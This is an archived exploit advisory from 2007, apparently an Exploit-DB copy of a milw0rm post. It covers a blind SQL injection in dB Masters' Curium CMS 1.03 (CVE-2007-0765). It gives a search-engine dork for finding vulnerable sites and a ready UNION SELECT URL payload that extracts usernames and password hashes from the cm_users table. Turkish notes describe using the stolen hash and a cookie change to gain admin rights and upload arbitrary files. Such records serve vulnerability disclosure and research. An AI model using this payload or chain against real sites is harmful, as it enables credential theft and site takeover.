Exploit dB Masters Curium CMS 1.03 - 'c_id' SQL Injection

[Exploiter]

EDB-ID

3256

Проверка EDB

1. Пройдено

Автор

AJANN

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-0765

Дата публикации

2007-02-02

*******************************************************************************
# Title   :  dB Masters' Curium CMS <= 1.03(c_id) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.dbmasters.net
# $$      :  Free
# Dork    :  Powered by dB Masters' Curium CMS 1
# DorkEx  :  http://www.google.com.tr/search?q=Powered+by+dB+Masters%27+Curium+CMS+1&hl=tr&start=0&sa=N

# Info    :  \*Ele gecirdiginiz hash ve kullanici adi ile once siteye register
              olarak cookie ile oynayarak admin yetkisiyle login olabilirsiniz
              Upload bolumunden rahatlikla istediginiz uzantida dosyayi upload
              edebilirsiniz.Uye olurken bazilarinda maile aktivasyon gelir.  

#Lamerlere:  \*Bir siteye rapor yollamakla o konuda cok bilgili olduumuz anla-
              mina gelmez.Ben sahsen hicbirsey bilmedigim kanisindeyken goru-
              yorumki bircok insan hakikaten birseyi basardigini saniyor.
              Bunada burada deginmek istedim.
              Birakin sizi baskasi ovsun.

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//news.php?id=-1&c_id=[SQL]

Example:

//news.php?id=-1&s_id=-1%20union%20select%200,1,concat(username,char(32),password),3,4,5,6,7,8,9,0%20from%20cm_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-02-02]